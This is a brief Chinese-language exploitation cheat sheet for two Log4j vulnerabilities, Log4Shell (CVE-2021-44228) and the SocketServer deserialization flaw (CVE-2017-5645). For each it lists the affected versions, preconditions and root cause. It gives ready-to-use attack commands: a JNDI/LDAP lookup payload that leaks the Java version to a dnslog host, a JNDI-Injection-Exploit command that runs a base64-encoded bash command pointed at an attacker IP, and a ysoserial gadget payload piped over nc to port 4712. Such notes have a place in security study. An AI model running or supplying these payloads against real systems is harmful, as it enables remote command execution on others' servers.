lookup JNDI注入 (CVE-2021-44228)
- 前提:
2.0-beta9<= log4j2 <=2.14.1- 使用log4j2记录 用户可控数据
- 存在可利用的JNDI注入
- 后果: 任意命令执行
- 利用:
找到: 寻找会被日志记录的可操控内容
验证: 日志内容中包含${ldap://${sys:java.version}.xxx.dnslog.cn}通过dnslog验证
工具创建远程服务器:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码命令}|{base64,-d}|{bash,-i}" -A 攻击者IP
加载远程恶意代码: 日志内容中包含${jndi:<工具提供的url>} - 原理:
对应版本下look4j2提供了lookup服务, 其会动态解析日志内容中的${}表达式,
其中的${jndi:<url>}会触发JNDI请求 , 所以可以造成JNDI注入
反序列化命令执行 (CVE-2017-5645)
- 前提:
2.0-alpha1<= log4j <=2.8.1- 目标系统使用Log4j的SocketServer功能(默认开启), 并可访问到(4712端口)
- 存在可被利用的反序列化链
- 后果: 任意命令执行
- 利用:
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc <目标ip> 4712 - 原理:
log4j存在SocketServer功能, 且默认开启, 监听4712端口, 可接收远程用户端发送的日志信息
其在对应版本时直接用ObjectInputStream反序列化输入流, 存在反序列化漏洞